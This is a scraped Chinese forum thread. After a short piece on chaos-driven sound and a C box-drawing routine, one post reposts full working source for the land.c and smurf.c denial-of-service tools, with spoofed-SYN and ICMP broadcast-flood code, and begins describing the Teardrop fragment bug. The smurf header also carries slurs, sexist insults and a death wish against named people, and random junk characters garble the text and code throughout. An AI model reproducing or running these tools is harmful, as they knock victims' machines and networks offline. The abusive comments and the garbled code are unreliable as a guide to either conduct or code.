7 ~+ X9 @3 ]$ Z" R  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。
4 m3 E" [9 e  t0 Z+ l2 D不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
+ e: L- R) J* W6 {/ n4 R<FONT color=#009900>/*
6 n$ X( E  |; X% {' A! b1 k*
, o$ j1 ?: S) A/ h8 C. h% z1 F* Short driver module
1 h" j2 q% M0 d% J6 A*/ N/ v8 }. [6 \6 F
*/</FONT></P><><FONT color=#009900>main()
9 i. a, c" y  D{; x; \$ G2 q8 c% [' ^9 H  c
clrscr();# ~# u8 g. r9 q" m5 J: Q: ?
box(1,1,23,79);- M7 w  d) ~  W8 Y' ~: c& Z
box(2,2,21,77);
# G, S2 C3 C+ x, z' z0 \box(3,3,19,75);+ B. y5 O" ]. e" z
box(4,4,17,73);
5 `7 Z: b) A6 T  w5 N% v+ u# ubox(5,5,15,71);
; j4 o* m2 v) ^" F6 Z; C# wbox(6,6,13,69);9 o& Z2 j$ }' B( ?* u- C
box(7,7,11,67);
6 |1 K! W+ R9 kbox(8,8,9,65);
9 \4 u4 T- Z! _1 S: \* Cbox(9,9,7,63);
# a5 o( e4 y& a5 {box(10,10,5,61);9 E7 _9 m1 j6 R. ?2 c- t6 k
box(11,11,3,59);) ^/ {" D" x/ a3 F& ?- d' F6 P
box(12,12,1,57);
4 r; N7 W- Y7 a+ e0 Q6 Vposcur(24,1);* o  ]# x( g! j
}</FONT></P><><FONT color=#009900>/************************************************************' ]1 q4 ^4 b8 }: h0 J; O- W' a. r$ [
* BOX *4 x2 U) o7 N! A) X" [; b6 \
*----------------------------------------------------------*
9 J0 r" U: l/ P6 o% ?' b1 E* P& J* Written by: Jeff Ebert 7/01/87 *
# F# M+ ^3 ^, t7 u* Modified by: xxxxxxxxxx *  F4 W0 f( ^$ K( z0 |: x6 o. u
* *) J& p0 M/ E9 B% o! Z; n
* Please modify me! *
& c7 u4 a- J  |0 ?& n* X0 O+ ~8 \2 I* Possible Enhancements include but are not limited t *8 R6 ^, D: f4 F' ]
* 1) Variable box character styles [1 line or 2] *- A7 }" q* t* \% |$ `$ U. B$ d
* 2) Error checking *6 z5 l+ Q( s( H9 r
* 3) Color options *
* I, B' S4 m% L. k6 [) ~2 Y$ d* *
2 \. c/ c+ d# [+ R* *
/ V  x) }, }0 [. e- E( m; ^* This function builds a simple double frame for a menu. *5 `2 i  D+ X2 _! ~: a% w  I
* The function is passed the parameters for the upper *
; U, T& ?  x. M2 E) z1 r& V2 J* left corner row, upper left corner column the height *# [5 O9 D2 h2 T- @/ {
* of the frame and the width. *; b% I( M8 g. b0 a6 L
* *7 }% \% T% T% m( j/ L
************************************************************/
+ E9 d* @& K5 V, R* x8 h% l#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
5 @% K+ ?  n; y2 y#define URCOR 1879 F8 k" ]8 q; H1 s: G! f
#define LLCOR 200; D% u" w- m8 H- V7 l) u' Z
#define LRCOR 1885 J1 p, P% _! m/ k6 N8 k( L5 U) ?4 g/ D
#define VBAR 186
8 y7 o& B& l$ P" s- N% q#define HBAR 205- B) i5 `& X  L; O: D
#define ESC 27</FONT></P><><FONT color=#009900>. ^$ o* Y. O5 i* t
box(row, col, hgt, wdth)9 h6 g5 o. q& f: Z) ]
int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
, j; {7 y+ `8 p( zint x, y;</FONT></P><><FONT color=#009900>poscur(row,col);* }1 {5 Z1 o) M: f3 Q- P
putchar(ULCOR);
4 z- _% Y* J- P+ S; X& mfor(x = col + 1; x &lt;=(col + wdth -1); x++), X  Z* @( s  a# ^6 S6 {+ {$ n
putchar(HBAR);1 q" e: O( H9 e6 x
putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
5 h' ^, S2 S- y9 y' ]% T$ tposcur(x,col);
0 V$ N/ Z0 p2 dputchar(VBAR);
) ~3 j& j0 W0 `" ^* N9 _poscur(x,col+wdth);
$ E) V  j8 f1 ^) d+ J! Sputchar(VBAR);
/ t4 H. o5 Z0 F2 a6 z8 E; J}0 `1 P/ Y" @( ~& A( t* L) K$ `
poscur(x,col);
- o/ C  [4 Z1 O0 o5 ]; ?5 vputchar(LLCOR);
$ G6 l  R& S# F! R" vfor(x= col + 1; x &lt;=(col + wdth -1); x++)
* G" k  S+ i4 P, Nputchar(HBAR);
6 \, {, S' |0 Zputchar(LRCOR);
" P& {, X# P( U* o7 O2 D}</FONT></P><><FONT color=#009900>/********************************************************" a0 T8 @2 Y2 H
* POSCUR *
6 ]9 U  p' H8 i- @2 U*------------------------------------------------------*! U7 z( Z' V" q6 A' N( ]. \* L
* This function positions the cursor at the specified *
5 |8 p( d5 F8 B! C* x,y coordinate. It uses the ANSI standard ESCAPE *, n/ }' H2 S5 R0 r
* sequence to produce the desired effect. Its not the *; ]: a3 l  j7 V
* fastest way to position the cursor, but perhaps the *
. @* n9 S) Z3 ?& C7 N5 Y2 j* most portable. *
8 q: S3 F5 E2 p3 z4 m* *
, g# A, i# K5 s) U2 C, p********************************************************/
) P" G  d  \' B+ ]- L1 H* R0 [poscur(xcor,ycor)! d, X) V' X) [( [6 h
int xcor,ycor;
5 a. t* M! z  S4 r( K# ^{
# y1 H2 Y9 I" n# M$ Qprintf("%c[%d;%dH",ESC,xcor,ycor);
) B1 {& H, w( H! ^  q8 K( J0 D& A}</FONT></P><><FONT color=#009900>
, u) X1 {/ X3 k& k  F& x) Q/********************************************************7 a7 h! H, m, ~
* CLRSCR *; G) Q/ I7 t' O' T
*------------------------------------------------------*: T  I. F7 c+ P. G( R0 J0 H7 A( X
* This function positions the cursor at the specified *4 j  l! }1 @; O) H7 y4 `
* x,y coordinate. It uses the ANSI standard ESCAPE *
; d" g2 Y* A1 k* q( `* sequence to produce the desired effect. Its not the *! ?! k# d; G) z1 _; ?9 B, W, Z
* fastest way to position the cursor, but perhaps the *% g& Q' d5 H1 b, z8 ]6 q
* most portable. *$ |+ I0 T0 h3 A2 e; m( C: K& x
* */ o" p0 g9 F: C( @0 I# d6 k, _7 \* P
********************************************************/' f/ }# O( G) M8 f' f/ \
clrscr()% V' V" G, C+ h- A
{
% ~! e9 P5 _1 ]" D8 v: Pprintf("%c[2J",ESC);& m$ l- t# ?+ r& Z
}</FONT>9 ?' p: Z1 \6 ?
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract1 m4 Y- }* e) |: V
这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自$ x$ s3 k& s0 n" X0 Q
己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>3 F2 `  C$ {' y4 a' r
<FONT color=#009900>/* land.c by m3lt, FLC, F4 u1 U  a$ e% x
crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
2 @$ q1 T1 p4 ^/ L+ _. A#include <NETDB.H># O: i3 x( P4 `: b  n
#include <ARPA inet.h>
) a  O7 ]. O4 m$ Z9 t% A#include <NETINET in.h>
/ K$ o/ w2 R7 f' C8 z  A2 L#include <SYS types.h>& |- a4 U* q9 o) u. |2 s
#include <SYS socket.h>2 U8 S' b1 P( a6 x
#include <NETINET ip.h>
: h8 D% X1 o2 P2 p#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
" g: y: Z* Q6 l. M+ K+ Fstruct pseudohdr' q6 j/ v1 ^+ g% ~
{( |; C0 i0 `3 o* ?7 e
struct in_addr saddr;4 o+ ?4 p" Q( k$ a9 h: F: D8 T8 h& e
struct in_addr daddr;
- q# J' R; A* J; C3 ^4 X. W# `u_char zero;
6 w* p1 N' M) F4 qu_char protocol;
4 e- C& d' p) `% P/ Mu_short length;
8 ]$ ]! ~* W1 k. {( G% Pstruct tcphdr tcpheader;
: s8 Q0 s% h, b6 f, e};</FONT></P><><FONT color=#009900>//计算IP校验和
. z( S0 s( p# k$ qu_short checksum(u_short * data,u_short length)
; d- u+ y! f/ N( X4 _{7 F5 q, ]( G6 k" T
register long value;
8 Y4 I/ c8 B2 c4 r; z6 r% Cu_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)6 r- ]1 u8 u- k1 z
value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)
3 `& k  B, t5 s. z2 g$ F+ Zvalue+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
! ]" ~# O( G" ~% ^6 }}</FONT></P><><FONT color=#009900>7 I# D# U' F% {6 @2 S2 T
int main(int argc,char * * argv)
5 d% a0 j0 b. b2 A% m. ], e5 X{$ R* j4 T2 ~! |+ N0 M7 `' j
struct sockaddr_in sin;- s; o9 D5 }' o, @7 P5 ~- ?
struct hostent * hoste;; {6 B8 S1 s/ X) A$ G8 R
int sock;
" F* x. P  ^6 g* |char buffer[40];3 d2 o, G$ w: q: t! {
struct iphdr * ipheader=(struct iphdr *) buffer;
  ?' u) m  X% |6 |8 m. Istruct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
& D; y% G) V% lstruct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)5 M( |2 d* U2 a5 K8 h# l6 u
{
3 B' c( w' d1 o+ }3 R; o, K' K4 g  Vfprintf(stderr,"usage: %s IP port\n",argv[0]);
; g+ R( A& `9 c6 v0 C4 N% Lreturn(-1);
- Z3 `8 n4 j6 X. I( v- S}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));/ ^+ x& l/ U/ V1 w' c
sin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)
! K* y; r  E, i  B3 N& A0 o' c" J4 Ybcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);: z& _2 z. h1 ~9 A1 _+ Y  m! V
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
* w/ U- I" M+ _6 y9 `{
2 D: _! F; r! B: t" g' k& Vfprintf(stderr,"unknown host %s\n",argv[1]);
: I- I" P: i7 F( q* nreturn(-1);
/ O5 I. V4 }; P3 O! _, d$ {}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)7 u/ B2 z1 {; O; c0 a0 ~
{2 @% d3 \3 @/ B) a
fprintf(stderr,"unknown port %s\n",argv[2]);
/ Q! D. R6 t8 f$ e! o4 breturn(-1);
5 E5 q. \. @0 z}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限8 A0 H8 @- o6 s$ G1 N
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
* F! u4 q, M/ F: x: P) v! j9 k1 b{
4 c7 X$ U" r' S( L" b' R2 G: zfprintf(stderr,"couldn't allocate raw socket\n");0 B5 ~$ m$ B0 S7 v9 I
return(-1);
. z0 ?5 p1 f+ S0 S# q& X; T}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));) g& d+ B! d1 I6 H( r2 ^
ipheader-&gt;version=4;
% ~7 H& L: A1 d( Xipheader-&gt;ihl=sizeof(struct iphdr)/4;' Y* O( X: l. G- X9 g
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
1 w! O1 C% Q/ p# D& tipheader-&gt;id=htons(0xF1C);8 Y, P1 }* v; Y) C  y3 _
ipheader-&gt;ttl=255;" D+ o! A: J3 M5 F' n# A1 c( S
ipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
3 h# \8 X3 Z- A, x4 Lipheader-&gt;saddr=sin.sin_addr.s_addr;
' a$ u5 \; U" ^, H. N2 _ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
& Y2 L# w( R: r$ T, H5 K7 ^tcpheader-&gt;th_sport=sin.sin_port;0 I% t( S4 i& v
tcpheader-&gt;th_dport=sin.sin_port;8 m5 u1 M, J$ L
tcpheader-&gt;th_seq=htonl(0xF1C);6 i4 t! x- l/ ^* N. H
tcpheader-&gt;th_flags=TH_SYN;# r+ d2 U* h) ~  |. A7 ^0 o
tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
: {: ]8 i  s5 I& U6 \, {8 ftcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));* a0 N6 _, P; P0 m( w
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
' R# u4 i( T5 |" [/ P: s, U% ?0 @+ fpseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
) P% J# A: H8 O; ~7 _4 L  t9 D3 E9 apseudoheader.protocol=6;# T' \( e: Y. e
pseudoheader.length=htons(sizeof(struct tcphdr));" d+ y2 r7 ]) J4 _1 D; J& f  q
bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
2 N' [0 r. o# h" a# N) F4 T' utcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),9 z8 `4 o/ |& t" B: P4 l4 Y( k/ H
0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
9 ]: [# z& o: ?& }; ]( ]{
' t( `% \6 f% A2 X5 y# nfprintf(stderr,"couldn't send packet\n");
* n. r5 _1 z' N* D- v- Nreturn(-1);
' I7 u2 N$ e6 p4 E}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);, d, f9 S0 B0 v& Q
return(0);
, i. ]$ G) U; k5 [( j}</FONT></P><>  r% q: z: i7 k1 l
2 Smurf
# x. H' y1 Q1 J0 m7 O' I& d/ r) R. Osmurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数
' g" p6 ?' y; k据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包9 e: H1 N: T! @6 ]+ O6 b0 M5 ]
的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些$ {- ?$ ]1 h# s$ ?- d, l* T
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
1 B* R) W- Q) p1 O/ v- |! ]6 ~7 ~(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变1 P2 A. z& Q3 ~4 C* L) p! U
成不可能(没有WINS服务器时)。</P><P>/*, d5 z5 h. E% v6 Z
*
6 p% ^; F' u' k; P! j% ~5 F& Y* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
% L0 G" X1 y$ Z7 y: t*
3 |8 d+ j/ M9 V% {" T7 d" P, I! G* spoofs icmp packets from a host to various broadcast addresses resulting
' _3 L% l  e- {5 q! H! c5 h) C* in multiple replies to that host from a single packet.% x9 W- t9 Z5 R. y$ v( Z
*0 {7 X( O* w* i: z1 X: m  Y
* mad head t+ C7 W4 a/ V, B2 Y( w* T
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
+ W& `' t  d: t8 `. \7 `* MissSatan for swallowing, napster for pimping my sister, the guy that
0 C. ~# A0 c/ t0 C9 t* invented vaseline, fyber for trying, knowy, old school #havok, kain/ w  Z0 V0 P% Q7 e' \. Y# R& [+ `
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might% L' m" `7 G" Z7 d! D
* have missed (you know who you are).
1 H3 G) Y$ z9 e% i/ @: Y*2 Y' W, w/ b) |
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
, d. t- C0 }( R( l4 ^* thing he is (he's -almost- as stubborn as me, still i managed to pick up& V# O7 a. ^0 _& e* B. {
* half the cheque).0 `5 P) C+ W8 b
*
/ {9 N. u% b7 n# O' G$ q* and a special hi to Todd, face it dude, you're fucking awesome.
3 c8 w. j6 G! p& W. ^6 u*
9 y0 {9 i* ^" g+ u* mad anal t
0 |1 V- C( J$ h! w8 p* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps  [  V5 D( E2 J7 ^, X  A
* because they plain suck, Rolex for being a twit, everyone that
% p" Z% l; {0 \9 j* trades warez, Caren for being a lesbian hoe, AcidKill for being her8 A. ?% S( Y6 O/ ^+ K2 K* H0 s
* partner, #cha0s, sedriss for having an ego in inverse proportion to
7 i- V5 F' {+ \/ O9 w' {* his penis and anyone that can't pee standing up -- you don't know what
& x0 I) C8 j# }, o8 b* your missing out on.$ I- p# {7 o$ N0 Z
*
% B. F1 g$ x7 P" K2 L* and anyone thats ripped my code (diff smurf.c axcast.c is rather
8 x5 Z4 T2 O" y) e) W  V0 \  X* interesting).' l; R6 ~# l* J# F7 U  H: ~. X
*
+ O; N) R4 D- h$ |* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
: s5 }7 x# r( j' t1 \  t' t3 E* Robbins for trying to steal my girlfriend. Not only did you show me
+ Q  J7 x7 e, ^( @( j* no respect but you're a manipulating prick who tried to take away the# @" }: `: w& O" S5 y) j
* most important thing in the world to me with no guilt whatsoever, and1 N( H: g' b4 z& J
* for that I wish you nothing but pain. Die.
/ f- f. s. I8 |& h9 z, [*5 @) J9 H0 z" w8 @0 M; Z5 K
* disclaimer:8 ~4 e; e) l; J; d1 l) T
* I cannot and will not be held responsible nor legally bound for the
8 N; U" s9 h. j  ?# _* malicious activities of individuals who come into possession of this
) d: I- s4 K: N& \' L5 l" v* program and I refuse to provide help or support of any kind and do NOT; z& i  D" \- M8 W
* condone use of this program to deny service to anyone or any machine.3 x, M2 i' s6 j* p* J. g/ f2 O
* This is for educational use only. Please Don't abuse this.
5 _5 c9 b9 C4 o8 Z. |% Y*9 e% |  {9 w2 p, B+ e
* Well, i really, really, hate this code, but yet here I am creating another% G  p; y- B3 u. S( @9 c
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
9 ^5 n2 q% {$ }& i  A& T, g4 ]* like most programmers don't like seeing bugs in their code. I saw a few
2 g- ], z8 A3 F6 {' ^* things that should have been done better or needed fixing so I fixed/ `! k9 w8 Y# f* W: O& K9 W
* them. -shrug-, programming for me as always seemed to take the pain away4 _6 B  G' z8 Y/ o
* ...1 N6 M* \0 p3 g+ N* Z# l% Y
*1 x$ ?' l- n# j
*
/ i8 {/ h& Z2 l*/</P><P>#include <SIGNAL.H>
5 H+ D/ G5 I# r. Y0 W. V#include <STDIO.H>$ a4 X  r$ f8 D( @# f' @- G
#include <STDLIB.H>
7 s6 g1 ^# k* s. `$ [$ a  g$ O#include <SYS socket.h>
; d, g( @& n. r, _% Y4 }#include <SYS types.h>
8 g& {* f3 s! j! A2 V#include <NETINET in.h># w- H- W' a  Y
#include <NETINET ip.h>& H9 K) T1 ~* P7 M
#include <NETINET ip_icmp.h>! P( g3 L: s8 v
#include <NETDB.H>
$ \% T8 H6 B$ g7 |/ G#include <CTYPE.H>8 G! t: F) S6 [1 E, p1 x2 p2 T
#include <ARPA inet.h>8 I, h) ~4 N$ C/ j- B& L9 b$ f
#include <UNISTD.H>
! f* Z, j5 h& \3 ^9 R7 b# D+ S#include <STRING.H></P><P>void banner(void);
3 z7 h$ o* J' e* j9 w5 @  c  a' evoid usage(char *);0 @/ K2 |6 d- d' p
void smurf(int, struct sockaddr_in, u_long, int);
7 R8 o* F, S: Hvoid ctrlc(int);
1 c' ~! K: A: d! @1 ?! Funsigned short in_chksum(u_short *, int);</P><P>/* stamp */$ y# b6 S4 M* D0 E( V
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
# I# H" Z4 u& N# A{# T. V9 s/ \" i' X, c0 X
struct sockaddr_in sin;/ l& W# Y0 y( I% W% X
struct hostent *he;
7 D8 d; K) |# U; h- E; iFILE *bcastfile;, v' d5 ]) L2 x
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;5 y: x  x+ y) Z! J3 z7 d
char buf[32], **bcastaddr = malloc(8192);</P><P>banner();
7 i5 [* S& O8 S! `1 Esignal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {& d# ]/ z: Z5 G5 L! P
perror("resolving source host");) [1 ]( x: M+ R3 C9 Y5 f3 W: b
exit(-1);4 @2 Q% \' t: D! t
}
" ]6 }) |$ @6 @3 |8 |( v2 ]/ M1 Cmemcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);. q; r/ G& Y6 I, I& y
sin.sin_family = AF_INET;
& o, z) }1 n+ lsin.sin_port = htons(0);</P><P>num = atoi(argv[3]);% I6 u- y7 f' q9 G8 `' E
delay = atoi(argv[4]);5 a; F: k& @' |5 s' H
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {' g; m4 P, J7 A" a: x. V
perror("opening bcast file");
1 W. I! O0 `' t! b8 hexit(-1);
. O( @5 r6 M! ]7 u  `}
' J: H1 m; z+ v' e. Qx = 0;
5 u6 l4 s1 Z1 `2 x& O' nwhile (!feof(bcastfile)) {! @! e4 Y* K: E8 f5 z% p: G9 c
fgets(buf, 32, bcastfile);
8 ?* }% H6 h. r7 C- \8 o6 v6 x% C$ ^* iif (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;$ ]5 U% Q3 F) ?2 C# d6 v
for (i = 0; i &lt; strlen(buf); i++)
0 F) V6 I' y3 j1 [4 Cif (buf == '\n') buf = '\0';
! S' z* U: s) _# r1 Zbcastaddr[x] = malloc(32);
. p1 E) q6 I5 a: j- {& {; U0 L/ Z" estrcpy(bcastaddr[x], buf);0 x% A% G0 w: q$ v" y
x++;
6 P% ]8 l6 W, @$ |$ f; H}
, z+ r, X8 \& r$ a8 s6 P9 gbcastaddr[x] = 0x0;6 f6 ~  V2 E( l2 p2 z+ P
fclose(bcastfile);</P><P>if (x == 0) {
$ a4 R8 P+ Z8 Zfprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);: Z! ^8 u7 w' h
exit(-1);
4 u/ H( U/ X4 k9 P1 m' p* l7 }}' |9 L4 z* G  N: U: X* |; X
if (pktsize &gt; 1024) {
' i( `5 [  B# F8 h! `' Xfprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
1 F8 W  S2 x, s- nexit(-1);
) I7 k4 [0 p9 b. Y; u# j1 m}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
9 g5 R, Y6 @, V* f+ I- Q% ~& Fperror("getting socket");# z- V7 K3 h4 `$ B
exit(-1);0 i" G- |4 P* r5 h
}
' _0 u9 S8 e2 x5 A0 W3 Q4 |setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {5 p  X1 X1 _/ K1 R
if (!(i % 25)) { printf("."); fflush(stdout); }$ T: M+ }! C9 @( F# W: Q5 p, P9 W
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
' T2 a3 K/ H3 }. J& O8 f! Pcycle++;
0 z+ S$ j- i, m/ x+ ]! Yif (bcastaddr[cycle] == 0x0) cycle = 0;$ P( Z: A. r, `
usleep(delay);! m$ O' k7 j: q
}
% v' ^' Q% I% |puts("\n\n");
4 L3 i! _( h. {5 {3 Oreturn 0;2 O( b+ ^; M$ \( c( ^+ V: j
}</P><P>void banner (void)6 y( y! w* L4 q4 L2 t% O/ w. c8 s
{# S2 C* n6 f# @
puts("\nsmurf.c v4.0 by TFreak\n");2 A; K7 |$ E- x" ?6 }
}</P><P>void usage (char *prog)/ Z$ n* W0 M9 p6 Y% P7 o
{+ J. o5 J) k* F
fprintf(stderr, "usage: %s <TARGET><BCAST file>"/ b4 Q' i; Z/ U
"<NUM packets> <PACKET delay><PACKET size>\n\n"
3 j4 p  V3 F8 n. ^' s"target = address to hit\n"
9 k- u$ Y9 Z- u9 y0 R" Q"bcast file = file to read broadcast addresses from\n"" W0 m) ]' S7 R( h$ w: c
"num packets = number of packets to send (0 = flood)\n"
! x5 n* _$ W+ \"packet delay = wait between each packet (in ms)\n"  i2 y3 _5 t9 C
"packet size = size of packet (&lt; 1024)\n\n", prog);
  o6 e+ U6 L) ?exit(-1);' O) c! l3 T/ ]# G) A
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)" S6 G9 F. a2 k2 `2 e
{( ^" P5 J% l2 @  i  h5 r+ W/ z
struct iphdr *ip;
6 E1 e& c# ]( A% x3 [  Fstruct icmphdr *icmp;8 u$ {0 S7 Q7 a; b1 D2 N* M0 `
char *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
8 _4 ]. x  E- D  S& vip = (struct iphdr *)packet;
& `/ U! I5 M; ^4 dicmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
- e( E, d, W- f5 f2 Hip-&gt;ihl = 5;, d, }$ B! |# Y0 L- g
ip-&gt;version = 4;
  Z" ?- j5 |0 y# M! W& lip-&gt;ttl = 255;1 r8 k4 ?6 y# o7 R3 X5 z0 n( N
ip-&gt;tos = 0;$ p; g! U& x1 v# h1 W8 X# g
ip-&gt;frag_off = 0;/ z" o6 K$ r% H
ip-&gt;protocol = IPPROTO_ICMP;
, \9 V. g# }! a+ ?" @& Yip-&gt;saddr = sin.sin_addr.s_addr;6 f, Q* \! u. o. e) C
ip-&gt;daddr = dest;3 E0 Z! Y. i8 A8 F6 W( O) [
ip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
( }0 M; b3 z( G6 Bicmp-&gt;type = 8;! w7 w1 N0 M( ^" e
icmp-&gt;code = 0;
( o% j+ [) }0 \/ D- {' Z& nicmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,; `: d$ \* t- z( ^* F- x+ w
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */
1 Q; {$ D5 d: R- d! X2 b}</P><P>void ctrlc (int ignored)
" C8 c* P2 f- j+ x{4 L1 Z. p3 C8 c. B  E
puts("\nDone!\n");$ Z3 s6 U2 }" M, V3 o- [
exit(1);! B. C/ Y; ]2 k: `' A! R" s6 J8 N" N
}</P><P>unsigned short in_chksum (u_short *addr, int len)
! Y6 M9 U: H& Q{
1 J/ J4 E) U, H$ uregister int nleft = len;
1 [# b/ K8 C, t0 Pregister int sum = 0;
  m/ K( U0 y( O; g" b5 F2 Gu_short answer = 0;</P><P>while (nleft &gt; 1) {  V- I8 \' r- j" D9 ?" d4 Z* y
sum += *addr++;/ H) ^9 ]$ Z5 P1 T$ Z
nleft -= 2;
/ ]+ {% [3 }* r) z+ e2 l) s: a}</P><P>if (nleft == 1) {
, x" J' x* n& s, V*(u_char *)(&amp;answer) = *(u_char *)addr;
5 O, j. L; T" O- A% Asum += answer;1 E( \; ~/ I# a+ X; |( r8 E
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);. P5 |8 N& T3 l8 m6 a! P7 @3 h
sum += (sum &gt;&gt; 16);
; P# P$ I- o, x) x7 e! D0 wanswer = ~sum;: @9 n+ H7 F* m
return(answer);
- r7 v; R- T, m4 B  P8 }}</P><P>4 b& i  P5 ?! S
3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:
8 \( a1 ?' j, Qfp = qp-&gt;fragments;
: V8 `) E* J3 Vwhile(fp != NULL)
2 u4 N) j/ s1 r, `; n{+ }8 r( p$ |. S8 w  o/ z! m, e$ u' l
if(count+fp-&gt;len &gt; skb-&gt;len)
; z" s8 Q! D# J! N) d' b{
; k" r5 ]7 l3 E  a9 Herror_to_big;! c0 I- ^' Z5 z9 c0 P/ Q* d( I
}
